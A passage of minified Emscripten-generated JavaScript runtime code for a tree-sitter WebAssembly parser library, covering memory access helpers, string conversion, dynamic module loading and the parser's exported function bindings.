q=GOT[K];if(!q)q=GOT[K]=new WebAssembly.Global({value:"i32",mutable:!0});if(!currentModuleWeakSymbols.has(K))q.required=!0;return q}},LE_HEAP_LOAD_F32=V6((A)=>HEAP_DATA_VIEW.getFloat32(A,!0),"LE_HEAP_LOAD_F32"),LE_HEAP_LOAD_F64=V6((A)=>HEAP_DATA_VIEW.getFloat64(A,!0),"LE_HEAP_LOAD_F64"),LE_HEAP_LOAD_I16=V6((A)=>HEAP_DATA_VIEW.getInt16(A,!0),"LE_HEAP_LOAD_I16"),LE_HEAP_LOAD_I32=V6((A)=>HEAP_DATA_VIEW.getInt32(A,!0),"LE_HEAP_LOAD_I32"),LE_HEAP_LOAD_U16=V6((A)=>HEAP_DATA_VIEW.getUint16(A,!0),"LE_HEAP_LOAD_U16"),LE_HEAP_LOAD_U32=V6((A)=>HEAP_DATA_VIEW.getUint32(A,!0),"LE_HEAP_LOAD_U32"),LE_HEAP_STORE_F32=V6((A,K)=>HEAP_DATA_VIEW.setFloat32(A,K,!0),"LE_HEAP_STORE_F32"),LE_HEAP_STORE_F64=V6((A,K)=>HEAP_DATA_VIEW.setFloat64(A,K,!0),"LE_HEAP_STORE_F64"),LE_HEAP_STORE_I16=V6((A,K)=>HEAP_DATA_VIEW.setInt16(A,K,!0),"LE_HEAP_STORE_I16"),LE_HEAP_STORE_I32=V6((A,K)=>HEAP_DATA_VIEW.setInt32(A,K,!0),"LE_HEAP_STORE_I32"),LE_HEAP_STORE_U16=V6((A,K)=>HEAP_DATA_VIEW.setUint16(A,K,!0),"LE_HEAP_STORE_U16"),LE_HEAP_STORE_U32=V6((A,K)=>HEAP_DATA_VIEW.setUint32(A,K,!0),"LE_HEAP_STORE_U32"),callRuntimeCallbacks=V6((A)=>{while(A.length>0)A.shift()(Module)},"callRuntimeCallbacks"),onPostRuns=[],addOnPostRun=V6((A)=>onPostRuns.unshift(A),"addOnPostRun"),onPreRuns=[],addOnPreRun=V6((A)=>onPreRuns.unshift(A),"addOnPreRun"),UTF8Decoder=typeof TextDecoder<"u"?new TextDecoder:void 0,UTF8ArrayToString=V6((A,K=0,q=NaN)=>{var Y=K+q,z=K;while(A[z]&&!(z>=Y))++z;if(z-K>16&&A.buffer&&UTF8Decoder)return UTF8Decoder.decode(A.subarray(K,z));var w="";while(K<z){var H=A[K++];if(!(H&128)){w+=String.fromCharCode(H);continue}var J=A[K++]&63;if((H&224)==192){w+=String.fromCharCode((H&31)<<6|J);continue}var O=A[K++]&63;if((H&240)==224)H=(H&15)<<12|J<<6|O;else H=(H&7)<<18|J<<12|O<<6|A[K++]&63;if(H<65536)w+=String.fromCharCode(H);else{var X=H-65536;w+=String.fromCharCode(55296|X>>10,56320|X&1023)}}return w},"UTF8ArrayToString"),getDylinkMetadata=V6((A)=>{var K=0,q=0;function Y(){return A[K++]}V6(Y,"getU8");function z(){var Q=0,u=1;while(!0){var d=A[K++];if(Q+=(d&127)*u,u*=128,!(d&128))break}return Q}V6(z,"getLEB");function w(){var Q=z();return K+=Q,UTF8ArrayToString(A,K-Q,Q)}V6(w,"getString");function H(Q,u){if(Q)throw Error(u)}V6(H,"failIf");var J="dylink.0";if(A instanceof WebAssembly.Module){var O=WebAssembly.Module.customSections(A,J);if(O.length===0)J="dylink",O=WebAssembly.Module.customSections(A,J);H(O.length===0,"need dylink section"),A=new Uint8Array(O[0]),q=A.length}else{var X=new Uint32Array(new Uint8Array(A.subarray(0,24)).buffer),$=X[0]==1836278016||X[0]==6386541;H(!$,"need to see wasm magic number"),H(A[8]!==0,"need the dylink section to be first"),K=9;var _=z();q=K+_,J=w()}var G={neededDynlibs:[],tlsExports:new Set,weakImports:new Set};if(J=="dylink"){G.memorySize=z(),G.memoryAlign=z(),G.tableSize=z(),G.tableAlign=z();var Z=z();for(var W=0;W<Z;++W){var D=w();G.neededDynlibs.push(D)}}else{H(J!=="dylink.0");var j=1,M=2,P=3,f=4,N=256,T=3,C=1;while(K<q){var R=Y(),x=z();if(R===j)G.memorySize=z(),G.memoryAlign=z(),G.tableSize=z(),G.tableAlign=z();else if(R===M){var Z=z();for(var W=0;W<Z;++W)D=w(),G.neededDynlibs.push(D)}else if(R===P){var y=z();while(y--){var B=w(),b=z();if(b&N)G.tlsExports.add(B)}}else if(R===f){var y=z();while(y--){var F=w(),B=w(),b=z();if((b&T)==C)G.weakImports.add(B)}}else K+=x}}return G},"getDylinkMetadata");function getValue(A,K="i8"){if(K.endsWith("*"))K="*";switch(K){case"i1":return HEAP8[A];case"i8":return HEAP8[A];case"i16":return LE_HEAP_LOAD_I16((A>>1)*2);case"i32":return LE_HEAP_LOAD_I32((A>>2)*4);case"i64":return HEAP64[A>>3];case"float":return LE_HEAP_LOAD_F32((A>>2)*4);case"double":return LE_HEAP_LOAD_F64((A>>3)*8);case"*":return LE_HEAP_LOAD_U32((A>>2)*4);default:abort(`invalid type for getValue: ${K}`)}}V6(getValue,"getValue");var newDSO=V6((A,K,q)=>{var Y={refcount:1/0,name:A,exports:q,global:!0};if(LDSO.loadedLibsByName[A]=Y,K!=null)LDSO.loadedLibsByHandle[K]=Y;return Y},"newDSO"),LDSO={loadedLibsByName:{},loadedLibsByHandle:{},init(){newDSO("__main__",0,wasmImports)}},___heap_base=78224,alignMemory=V6((A,K)=>Math.ceil(A/K)*K,"alignMemory"),getMemory=V6((A)=>{if(runtimeInitialized)return _calloc(A,1);var K=___heap_base,q=K+alignMemory(A,16);return ___heap_base=q,GOT.__heap_base.value=q,K},"getMemory"),isInternalSym=V6((A)=>["__cpp_exception","__c_longjmp","__wasm_apply_data_relocs","__dso_handle","__tls_size","__tls_align","__set_stack_limits","_emscripten_tls_init","__wasm_init_tls","__wasm_call_ctors","__start_em_asm","__stop_em_asm","__start_em_js","__stop_em_js"].includes(A)||A.startsWith("__em_js__"),"isInternalSym"),uleb128Encode=V6((A,K)=>{if(A<128)K.push(A);else K.push(A%128|128,A>>7)},"uleb128Encode"),sigToWasmTypes=V6((A)=>{var K={i:"i32",j:"i64",f:"f32",d:"f64",e:"externref",p:"i32"},q={parameters:[],results:A[0]=="v"?[]:[K[A[0]]]};for(var Y=1;Y<A.length;++Y)q.parameters.push(K[A[Y]]);return q},"sigToWasmTypes"),generateFuncType=V6((A,K)=>{var q=A.slice(0,1),Y=A.slice(1),z={i:127,p:127,j:126,f:125,d:124,e:111};K.push(96),uleb128Encode(Y.length,K);for(var w=0;w<Y.length;++w)K.push(z[Y[w]]);if(q=="v")K.push(0);else K.push(1,z[q])},"generateFuncType"),convertJsFunctionToWasm=V6((A,K)=>{if(typeof WebAssembly.Function=="function")return new WebAssembly.Function(sigToWasmTypes(K),A);var q=[1];generateFuncType(K,q);var Y=[0,97,115,109,1,0,0,0,1];uleb128Encode(q.length,Y),Y.push(...q),Y.push(2,7,1,1,101,1,102,0,0,7,5,1,1,102,0,0);var z=new WebAssembly.Module(new Uint8Array(Y)),w=new WebAssembly.Instance(z,{e:{f:A}}),H=w.exports.f;return H},"convertJsFunctionToWasm"),wasmTableMirror=[],wasmTable=new WebAssembly.Table({initial:31,element:"anyfunc"}),getWasmTableEntry=V6((A)=>{var K=wasmTableMirror[A];if(!K){if(A>=wasmTableMirror.length)wasmTableMirror.length=A+1;wasmTableMirror[A]=K=wasmTable.get(A)}return K},"getWasmTableEntry"),updateTableMap=V6((A,K)=>{if(functionsInTableMap)for(var q=A;q<A+K;q++){var Y=getWasmTableEntry(q);if(Y)functionsInTableMap.set(Y,q)}},"updateTableMap"),functionsInTableMap,getFunctionAddress=V6((A)=>{if(!functionsInTableMap)functionsInTableMap=new WeakMap,updateTableMap(0,wasmTable.length);return functionsInTableMap.get(A)||0},"getFunctionAddress"),freeTableIndexes=[],getEmptyTableSlot=V6(()=>{if(freeTableIndexes.length)return freeTableIndexes.pop();try{wasmTable.grow(1)}catch(A){if(!(A instanceof RangeError))throw A;throw"Unable to grow wasm table. Set ALLOW_TABLE_GROWTH."}return wasmTable.length-1},"getEmptyTableSlot"),setWasmTableEntry=V6((A,K)=>{wasmTable.set(A,K),wasmTableMirror[A]=wasmTable.get(A)},"setWasmTableEntry"),addFunction=V6((A,K)=>{var q=getFunctionAddress(A);if(q)return q;var Y=getEmptyTableSlot();try{setWasmTableEntry(Y,A)}catch(w){if(!(w instanceof TypeError))throw w;var z=convertJsFunctionToWasm(A,K);setWasmTableEntry(Y,z)}return functionsInTableMap.set(A,Y),Y},"addFunction"),updateGOT=V6((A,K)=>{for(var q in A){if(isInternalSym(q))continue;var Y=A[q];if(GOT[q]||=new WebAssembly.Global({value:"i32",mutable:!0}),K||GOT[q].value==0)if(typeof Y=="function")GOT[q].value=addFunction(Y);else if(typeof Y=="number")GOT[q].value=Y;else err(`unhandled export type for '${q}': ${typeof Y}`)}},"updateGOT"),relocateExports=V6((A,K,q)=>{var Y={};for(var z in A){var w=A[z];if(typeof w=="object")w=w.value;if(typeof w=="number")w+=K;Y[z]=w}return updateGOT(Y,q),Y},"relocateExports"),isSymbolDefined=V6((A)=>{var K=wasmImports[A];if(!K||K.stub)return!1;return!0},"isSymbolDefined"),dynCall=V6((A,K,q=[])=>{var Y=getWasmTableEntry(K)(...q);return Y},"dynCall"),stackSave=V6(()=>_emscripten_stack_get_current(),"stackSave"),stackRestore=V6((A)=>__emscripten_stack_restore(A),"stackRestore"),createInvokeFunction=V6((A)=>(K,...q)=>{var Y=stackSave();try{return dynCall(A,K,q)}catch(z){if(stackRestore(Y),z!==z+0)throw z;if(_setThrew(1,0),A[0]=="j")return 0n}},"createInvokeFunction"),resolveGlobalSymbol=V6((A,K=!1)=>{var q;if(isSymbolDefined(A))q=wasmImports[A];else if(A.startsWith("invoke_"))q=wasmImports[A]=createInvokeFunction(A.split("_")[1]);return{sym:q,name:A}},"resolveGlobalSymbol"),onPostCtors=[],addOnPostCtor=V6((A)=>onPostCtors.unshift(A),"addOnPostCtor"),UTF8ToString=V6((A,K)=>A?UTF8ArrayToString(HEAPU8,A,K):"","UTF8ToString"),loadWebAssemblyModule=V6((binary,flags,libName,localScope,handle)=>{var metadata=getDylinkMetadata(binary);currentModuleWeakSymbols=metadata.weakImports;function loadModule(){var memAlign=Math.pow(2,metadata.memoryAlign),memoryBase=metadata.memorySize?alignMemory(getMemory(metadata.memorySize+memAlign),memAlign):0,tableBase=metadata.tableSize?wasmTable.length:0;if(handle)HEAP8[handle+8]=1,LE_HEAP_STORE_U32((handle+12>>2)*4,memoryBase),LE_HEAP_STORE_I32((handle+16>>2)*4,metadata.memorySize),LE_HEAP_STORE_U32((handle+20>>2)*4,tableBase),LE_HEAP_STORE_I32((handle+24>>2)*4,metadata.tableSize);if(metadata.tableSize)wasmTable.grow(metadata.tableSize);var moduleExports;function resolveSymbol(A){var K=resolveGlobalSymbol(A).sym;if(!K&&localScope)K=localScope[A];if(!K)K=moduleExports[A];return K}V6(resolveSymbol,"resolveSymbol");var proxyHandler={get(A,K){switch(K){case"__memory_base":return memoryBase;case"__table_base":return tableBase}if(K in wasmImports&&!wasmImports[K].stub){var q=wasmImports[K];return q}if(!(K in A)){var Y;A[K]=(...z)=>{return Y||=resolveSymbol(K),Y(...z)}}return A[K]}},proxy=new Proxy({},proxyHandler),info={"GOT.mem":new Proxy({},GOTHandler),"GOT.func":new Proxy({},GOTHandler),env:proxy,wasi_snapshot_preview1:proxy};function postInstantiation(module,instance){if(updateTableMap(tableBase,metadata.tableSize),moduleExports=relocateExports(instance.exports,memoryBase),!flags.allowUndefined)reportUndefinedSymbols();function addEmAsm(addr,body){var args=[],arity=0;for(;arity<16;arity++)if(body.indexOf("$"+arity)!=-1)args.push("$"+arity);else break;args=args.join(",");var func=`(${args}) => { ${body} };`;ASM_CONSTS[start]=eval(func)}if(V6(addEmAsm,"addEmAsm"),"__start_em_asm"in moduleExports){var{__start_em_asm:start,__stop_em_asm:stop}=moduleExports;while(start<stop){var jsString=UTF8ToString(start);addEmAsm(start,jsString),start=HEAPU8.indexOf(0,start)+1}}function addEmJs(name,cSig,body){var jsArgs=[];if(cSig=cSig.slice(1,-1),cSig!="void"){cSig=cSig.split(",");for(var i in cSig){var jsArg=cSig[i].split(" ").pop();jsArgs.push(jsArg.replace("*",""))}}var func=`(${jsArgs}) => ${body};`;moduleExports[name]=eval(func)}V6(addEmJs,"addEmJs");for(var name in moduleExports)if(name.startsWith("__em_js__")){var start=moduleExports[name],jsString=UTF8ToString(start),parts=jsString.split("<::>");addEmJs(name.replace("__em_js__",""),parts[0],parts[1]),delete moduleExports[name]}var applyRelocs=moduleExports.__wasm_apply_data_relocs;if(applyRelocs)if(runtimeInitialized)applyRelocs();else __RELOC_FUNCS__.push(applyRelocs);var init=moduleExports.__wasm_call_ctors;if(init)if(runtimeInitialized)init();else addOnPostCtor(init);return moduleExports}if(V6(postInstantiation,"postInstantiation"),flags.loadAsync){if(binary instanceof WebAssembly.Module){var instance=new WebAssembly.Instance(binary,info);return Promise.resolve(postInstantiation(binary,instance))}return WebAssembly.instantiate(binary,info).then((A)=>postInstantiation(A.module,A.instance))}var module=binary instanceof WebAssembly.Module?binary:new WebAssembly.Module(binary),instance=new WebAssembly.Instance(module,info);return postInstantiation(module,instance)}if(V6(loadModule,"loadModule"),flags.loadAsync)return metadata.neededDynlibs.reduce((A,K)=>A.then(()=>loadDynamicLibrary(K,flags,localScope)),Promise.resolve()).then(loadModule);return metadata.neededDynlibs.forEach((A)=>loadDynamicLibrary(A,flags,localScope)),loadModule()},"loadWebAssemblyModule"),mergeLibSymbols=V6((A,K)=>{for(var[q,Y]of Object.entries(A)){let z=V6((H)=>{if(!isSymbolDefined(H))wasmImports[H]=Y},"setImport");z(q);let w="__main_argc_argv";if(q=="main")z(w);if(q==w)z("main")}},"mergeLibSymbols"),asyncLoad=V6(async(A)=>{var K=await readAsync(A);return new Uint8Array(K)},"asyncLoad");function loadDynamicLibrary(A,K={global:!0,nodelete:!0},q,Y){var z=LDSO.loadedLibsByName[A];if(z){if(!K.global){if(q)Object.assign(q,z.exports)}else if(!z.global)z.global=!0,mergeLibSymbols(z.exports,A);if(K.nodelete&&z.refcount!==1/0)z.refcount=1/0;if(z.refcount++,Y)LDSO.loadedLibsByHandle[Y]=z;return K.loadAsync?Promise.resolve(!0):!0}z=newDSO(A,Y,"loading"),z.refcount=K.nodelete?1/0:1,z.global=K.global;function w(){if(Y){var O=LE_HEAP_LOAD_U32((Y+28>>2)*4),X=LE_HEAP_LOAD_U32((Y+32>>2)*4);if(O&&X){var $=HEAP8.slice(O,O+X);return K.loadAsync?Promise.resolve($):$}}var _=locateFile(A);if(K.loadAsync)return asyncLoad(_);if(!readBinary)throw Error(`${_}: file not found, and synchronous loading of external files is not available`);return readBinary(_)}V6(w,"loadLibData");function H(){if(K.loadAsync)return w().then((O)=>loadWebAssemblyModule(O,K,A,q,Y));return loadWebAssemblyModule(w(),K,A,q,Y)}V6(H,"getExports");function J(O){if(z.global)mergeLibSymbols(O,A);else if(q)Object.assign(q,O);z.exports=O}if(V6(J,"moduleLoaded"),K.loadAsync)return H().then((O)=>{return J(O),!0});return J(H()),!0}V6(loadDynamicLibrary,"loadDynamicLibrary");var reportUndefinedSymbols=V6(()=>{for(var[A,K]of Object.entries(GOT))if(K.value==0){var q=resolveGlobalSymbol(A,!0).sym;if(!q&&!K.required)continue;if(typeof q=="function")K.value=addFunction(q,q.sig);else if(typeof q=="number")K.value=q;else throw Error(`bad export type for '${A}': ${typeof q}`)}},"reportUndefinedSymbols"),loadDylibs=V6(()=>{if(!dynamicLibraries.length){reportUndefinedSymbols();return}addRunDependency("loadDylibs"),dynamicLibraries.reduce((A,K)=>A.then(()=>loadDynamicLibrary(K,{loadAsync:!0,global:!0,nodelete:!0,allowUndefined:!0})),Promise.resolve()).then(()=>{reportUndefinedSymbols(),removeRunDependency("loadDylibs")})},"loadDylibs"),noExitRuntime=Module.noExitRuntime||!0;function setValue(A,K,q="i8"){if(q.endsWith("*"))q="*";switch(q){case"i1":HEAP8[A]=K;break;case"i8":HEAP8[A]=K;break;case"i16":LE_HEAP_STORE_I16((A>>1)*2,K);break;case"i32":LE_HEAP_STORE_I32((A>>2)*4,K);break;case"i64":HEAP64[A>>3]=BigInt(K);break;case"float":LE_HEAP_STORE_F32((A>>2)*4,K);break;case"double":LE_HEAP_STORE_F64((A>>3)*8,K);break;case"*":LE_HEAP_STORE_U32((A>>2)*4,K);break;default:abort(`invalid type for setValue: ${q}`)}}V6(setValue,"setValue");var ___memory_base=new WebAssembly.Global({value:"i32",mutable:!1},1024),___stack_pointer=new WebAssembly.Global({value:"i32",mutable:!0},78224),___table_base=new WebAssembly.Global({value:"i32",mutable:!1},1),__abort_js=V6(()=>abort(""),"__abort_js");__abort_js.sig="v";var _emscripten_get_now=V6(()=>performance.now(),"_emscripten_get_now");_emscripten_get_now.sig="d";var _emscripten_date_now=V6(()=>Date.now(),"_emscripten_date_now");_emscripten_date_now.sig="d";var nowIsMonotonic=1,checkWasiClock=V6((A)=>A>=0&&A<=3,"checkWasiClock"),INT53_MAX=9007199254740992,INT53_MIN=-9007199254740992,bigintToI53Checked=V6((A)=>A<INT53_MIN||A>INT53_MAX?NaN:Number(A),"bigintToI53Checked");function _clock_time_get(A,K,q){if(K=bigintToI53Checked(K),!checkWasiClock(A))return 28;var Y;if(A===0)Y=_emscripten_date_now();else if(nowIsMonotonic)Y=_emscripten_get_now();else return 52;var z=Math.round(Y*1000*1000);return HEAP64[q>>3]=BigInt(z),0}V6(_clock_time_get,"_clock_time_get"),_clock_time_get.sig="iijp";var getHeapMax=V6(()=>2147483648,"getHeapMax"),growMemory=V6((A)=>{var K=wasmMemory.buffer,q=(A-K.byteLength+65535)/65536|0;try{return wasmMemory.grow(q),updateMemoryViews(),1}catch(Y){}},"growMemory"),_emscripten_resize_heap=V6((A)=>{var K=HEAPU8.length;A>>>=0;var q=getHeapMax();if(A>q)return!1;for(var Y=1;Y<=4;Y*=2){var z=K*(1+0.2/Y);z=Math.min(z,A+100663296);var w=Math.min(q,alignMemory(Math.max(A,z),65536)),H=growMemory(w);if(H)return!0}return!1},"_emscripten_resize_heap");_emscripten_resize_heap.sig="ip";var _fd_close=V6((A)=>52,"_fd_close");_fd_close.sig="ii";function _fd_seek(A,K,q,Y){return K=bigintToI53Checked(K),70}V6(_fd_seek,"_fd_seek"),_fd_seek.sig="iijip";var printCharBuffers=[null,[],[]],printChar=V6((A,K)=>{var q=printCharBuffers[A];if(K===0||K===10)(A===1?out:err)(UTF8ArrayToString(q)),q.length=0;else q.push(K)},"printChar"),flush_NO_FILESYSTEM=V6(()=>{if(printCharBuffers[1].length)printChar(1,10);if(printCharBuffers[2].length)printChar(2,10)},"flush_NO_FILESYSTEM"),SYSCALLS={varargs:void 0,getStr(A){var K=UTF8ToString(A);return K}},_fd_write=V6((A,K,q,Y)=>{var z=0;for(var w=0;w<q;w++){var H=LE_HEAP_LOAD_U32((K>>2)*4),J=LE_HEAP_LOAD_U32((K+4>>2)*4);K+=8;for(var O=0;O<J;O++)printChar(A,HEAPU8[H+O]);z+=J}return LE_HEAP_STORE_U32((Y>>2)*4,z),0},"_fd_write");_fd_write.sig="iippp";function _tree_sitter_log_callback(A,K){if(Module.currentLogCallback){let q=UTF8ToString(K);Module.currentLogCallback(q,A!==0)}}V6(_tree_sitter_log_callback,"_tree_sitter_log_callback");function _tree_sitter_parse_callback(A,K,q,Y,z){let H=Module.currentParseCallback(K,{row:q,column:Y});if(typeof H==="string")setValue(z,H.length,"i32"),stringToUTF16(H,A,10240);else setValue(z,0,"i32")}V6(_tree_sitter_parse_callback,"_tree_sitter_parse_callback");function _tree_sitter_progress_callback(A,K){if(Module.currentProgressCallback)return Module.currentProgressCallback({currentOffset:A,hasError:K});return!1}V6(_tree_sitter_progress_callback,"_tree_sitter_progress_callback");function _tree_sitter_query_progress_callback(A){if(Module.currentQueryProgressCallback)return Module.currentQueryProgressCallback({currentOffset:A});return!1}V6(_tree_sitter_query_progress_callback,"_tree_sitter_query_progress_callback");var runtimeKeepaliveCounter=0,keepRuntimeAlive=V6(()=>noExitRuntime||runtimeKeepaliveCounter>0,"keepRuntimeAlive"),_proc_exit=V6((A)=>{if(EXITSTATUS=A,!keepRuntimeAlive())Module.onExit?.(A),ABORT=!0;quit_(A,new ExitStatus(A))},"_proc_exit");_proc_exit.sig="vi";var exitJS=V6((A,K)=>{EXITSTATUS=A,_proc_exit(A)},"exitJS"),handleException=V6((A)=>{if(A instanceof ExitStatus||A=="unwind")return EXITSTATUS;quit_(1,A)},"handleException"),lengthBytesUTF8=V6((A)=>{var K=0;for(var q=0;q<A.length;++q){var Y=A.charCodeAt(q);if(Y<=127)K++;else if(Y<=2047)K+=2;else if(Y>=55296&&Y<=57343)K+=4,++q;else K+=3}return K},"lengthBytesUTF8"),stringToUTF8Array=V6((A,K,q,Y)=>{if(!(Y>0))return 0;var z=q,w=q+Y-1;for(var H=0;H<A.length;++H){var J=A.charCodeAt(H);if(J>=55296&&J<=57343){var O=A.charCodeAt(++H);J=65536+((J&1023)<<10)|O&1023}if(J<=127){if(q>=w)break;K[q++]=J}else if(J<=2047){if(q+1>=w)break;K[q++]=192|J>>6,K[q++]=128|J&63}else if(J<=65535){if(q+2>=w)break;K[q++]=224|J>>12,K[q++]=128|J>>6&63,K[q++]=128|J&63}else{if(q+3>=w)break;K[q++]=240|J>>18,K[q++]=128|J>>12&63,K[q++]=128|J>>6&63,K[q++]=128|J&63}}return K[q]=0,q-z},"stringToUTF8Array"),stringToUTF8=V6((A,K,q)=>stringToUTF8Array(A,HEAPU8,K,q),"stringToUTF8"),stackAlloc=V6((A)=>__emscripten_stack_alloc(A),"stackAlloc"),stringToUTF8OnStack=V6((A)=>{var K=lengthBytesUTF8(A)+1,q=stackAlloc(K);return stringToUTF8(A,q,K),q},"stringToUTF8OnStack"),AsciiToString=V6((A)=>{var K="";while(!0){var q=HEAPU8[A++];if(!q)return K;K+=String.fromCharCode(q)}},"AsciiToString"),stringToUTF16=V6((A,K,q)=>{if(q??=2147483647,q<2)return 0;q-=2;var Y=K,z=q<A.length*2?q/2:A.length;for(var w=0;w<z;++w){var H=A.charCodeAt(w);LE_HEAP_STORE_I16((K>>1)*2,H),K+=2}return LE_HEAP_STORE_I16((K>>1)*2,0),K-Y},"stringToUTF16"),wasmImports={__heap_base:___heap_base,__indirect_function_table:wasmTable,__memory_base:___memory_base,__stack_pointer:___stack_pointer,__table_base:___table_base,_abort_js:__abort_js,clock_time_get:_clock_time_get,emscripten_resize_heap:_emscripten_resize_heap,fd_close:_fd_close,fd_seek:_fd_seek,fd_write:_fd_write,memory:wasmMemory,tree_sitter_log_callback:_tree_sitter_log_callback,tree_sitter_parse_callback:_tree_sitter_parse_callback,tree_sitter_progress_callback:_tree_sitter_progress_callback,tree_sitter_query_progress_callback:_tree_sitter_query_progress_callback},wasmExports=await createWasm(),___wasm_call_ctors=wasmExports.__wasm_call_ctors,_malloc=Module._malloc=wasmExports.malloc,_calloc=Module._calloc=wasmExports.calloc,_realloc=Module._realloc=wasmExports.realloc,_free=Module._free=wasmExports.free,_memcmp=Module._memcmp=wasmExports.memcmp,_ts_language_symbol_count=Module._ts_language_symbol_count=wasmExports.ts_language_symbol_count,_ts_language_state_count=Module._ts_language_state_count=wasmExports.ts_language_state_count,_ts_language_version=Module._ts_language_version=wasmExports.ts_language_version,_ts_language_abi_version=Module._ts_language_abi_version=wasmExports.ts_language_abi_version,_ts_language_metadata=Module._ts_language_metadata=wasmExports.ts_language_metadata,_ts_language_name=Module._ts_language_name=wasmExports.ts_language_name,_ts_language_field_count=Module._ts_language_field_count=wasmExports.ts_language_field_count,_ts_language_next_state=Module._ts_language_next_state=wasmExports.ts_language_next_state,_ts_language_symbol_name=Module._ts_language_symbol_name=wasmExports.ts_language_symbol_name,_ts_language_symbol_for_name=Module._ts_language_symbol_for_name=wasmExports.ts_language_symbol_for_name,_strncmp=Module._strncmp=wasmExports.strncmp,_ts_language_symbol_type=Module._ts_language_symbol_type=wasmExports.ts_language_symbol_type,_ts_language_field_name_for_id=Module._ts_language_field_name_for_id=wasmExports.ts_language_field_name_for_id,_ts_lookahead_iterator_new=Module._ts_lookahead_iterator_new=wasmExports.ts_lookahead_iterator_new,_ts_lookahead_iterator_delete=Module._ts_lookahead_iterator_delete=wasmExports.ts_lookahead_iterator_delete,_ts_lookahead_iterator_reset_state=Module._ts_lookahead_iterator_reset_state=wasmExports.ts_lookahead_iterator_reset_state,_ts_lookahead_iterator_reset=Module._ts_lookahead_iterator_reset=wasmExports.ts_lookahead_iterator_reset,_ts_lookahead_iterator_next=Module._ts_lookahead_iterator_next=wasmExports.ts_lookahead_iterator_next,_ts_lookahead_iterator_current_symbol=Module._ts_lookahead_iterator_current_symbol=wasmExports.ts_lookahead_iterator_current_symbol,_ts_parser_delete=Module._ts_parser_delete=wasmExports.ts_parser_delete,_ts_parser_reset=Module._ts_parser_reset=wasmExports.ts_parser_reset,_ts_parser_set_language=Module._ts_parser_set_language=wasmExports.ts_parser_set_language,_ts_parser_timeout_micros=Module._ts_parser_timeout_micros=wasmExports.ts_parser_timeout_micros,_ts_parser_set_timeout_micros=Module._ts_parser_set_timeout_micros=wasmExports.ts_parser_set_timeout_micros,_ts_parser_set_included_ranges=Module._ts_parser_set_included_ranges=wasmExports.ts_parser_set_included_ranges,_ts_query_new=Module._ts_query_new=wasmExports.ts_query_new,_ts_query_delete=Module._ts_query_delete=wasmExports.ts_query_delete,_iswspace=Module._iswspace=wasmExports.iswspace,_iswalnum=Module._iswalnum=wasmExports.iswalnum,_ts_query_pattern_count=Module._ts_query_pattern_count=wasmExports.ts_query_pattern_count,_ts_query_capture_count=Module._ts_query_capture_count=wasmExports.ts_query_capture_count,_ts_query_string_count=Module._ts_query_string_count=wasmExports.ts_query_string_count,_ts_query_capture_name_for_id=Module._ts_query_capture_name_for_id=wasmExports.ts_query_capture_name_for_id,_ts_query_capture_quantifier_for_id=Module._ts_query_capture_quantifier_for_id=wasmExports.ts_query_capture_quantifier_for_id,_ts_query_string_value_for_id=Module._ts_query_string_value_for_id=wasmExports.ts_query_string_value_for_id,_ts_query_predicates_for_pattern=Module._ts_query_predicates_for_pattern=wasmExports.ts_query_predicates_for_pattern,_ts_query_start_byte_for_pattern=Module._ts_query_start_byte_for_pattern=wasmExports.ts_query_start_byte_for_pattern,_ts_query_end_byte_for_pattern=Module._ts_query_end_byte_for_pattern=wasmExports.ts_query_end_byte_for_pattern,_ts_query_is_pattern_rooted=Module._ts_query_is_pattern_rooted=wasmExports.ts_query_is_pattern_rooted,_ts_query_is_pattern_non_local=Module._ts_query_is_pattern_non_local=wasmExports.ts_query_is_pattern_non_local,_ts_query_is_pattern_guaranteed_at_step=Module._ts_query_is_pattern_guaranteed_at_step=wasmExports.ts_query_is_pattern_guaranteed_at_step,_ts_query_disable_capture=Module._ts_query_disable_capture=wasmExports.ts_query_disable_capture,_ts_query_disable_pattern=Module._ts_query_disable_pattern=wasmExports.ts_query_disable_pattern,_ts_tree_copy=Module._ts_tree_copy=wasmExports.ts_tree_copy,_ts_tree_delete=Module._ts_tree_delete=wasmExports.ts_tree_delete,_ts_init=Module._ts_init=wasmExports.ts_init,_ts_parser_new_wasm=Module._ts_parser_new_wasm=wasmExports.ts_parser_new_wasm,_ts_parser_enable_logger_wasm=Module._ts_parser_enable_logger_wasm=wasmExports.ts_parser_enable_logger_wasm,_ts_parser_parse_wasm=Module._ts_parser_parse_wasm=wasmExports.ts_parser_parse_wasm,_ts_parser_included_ranges_wasm=Module._ts_parser_included_ranges_wasm=wasmExports.ts_parser_included_ranges_wasm,_ts_language_type_is_named_wasm=Module._ts_language_type_is_named_wasm=wasmExports.ts_language_type_is_named_wasm,_ts_language_type_is_visible_wasm=Module._ts_language_type_is_visible_wasm=wasmExports.ts_language_type_is_visible_wasm,_ts_language_supertypes_wasm=Module._ts_language_supertypes_wasm=wasmExports.ts_language_supertypes_wasm,_ts_language_subtypes_wasm=Module._ts_language_subtypes_wasm=wasmExports.ts_language_subtypes_wasm,_ts_tree_root_node_wasm=Module._ts_tree_root_node_wasm=wasmExports.ts_tree_root_node_wasm,_ts_tree_root_node_with_offset_wasm=Module._ts_tree_root_node_with_offset_wasm=wasmExports.ts_tree_root_node_with_offset_wasm,_ts_tree_edit_wasm=Module._ts_tree_edit_wasm=wasmExports.ts_tree_edit_wasm,_ts_tree_included_ranges_wasm=Module._ts_tree_included_ranges_wasm=wasmExports.ts_tree_included_ranges_wasm,_ts_tree_get_changed_ranges_wasm=Module._ts_tree_get_changed_ranges_wasm=wasmExports.ts_tree_get_changed_ranges_wasm,_ts_tree_cursor_new_wasm=Module._ts_tree_cursor_new_wasm=wasmExports.ts_tree_cursor_new_wasm,_ts_tree_cursor_copy_wasm=Module._ts_tree_cursor_copy_wasm=wasmExports.ts_tree_cursor_copy_wasm,_ts_tree_cursor_delete_wasm=Module._ts_tree_cursor_delete_wasm=wasmExports.ts_tree_cursor_delete_wasm,_ts_tree_cursor_reset_wasm=Module._ts_tree_cursor_reset_wasm=wasmExports.ts_tree_cursor_reset_wasm,_ts_tree_cursor_reset_to_wasm=Module._ts_tree_cursor_reset_to_wasm=wasmExports.ts_tree_cursor_reset_to_wasm,_ts_tree_cursor_goto_first_child_wasm=Module._ts_tree_cursor_goto_first_child_wasm=wasmExports.ts_tree_cursor_goto_first_child_wasm,_ts_tree_cursor_goto_last_child_wasm=Module._ts_tree_cursor_goto_last_child_wasm=wasmExports.ts_tree_cursor_goto_last_child_wasm,_ts_tree_cursor_goto_first_child_for_index_wasm=Module._ts_tree_cursor_goto_first_child_for_index_wasm=wasmExports.ts_tree_cursor_goto_first_child_for_index_wasm,_ts_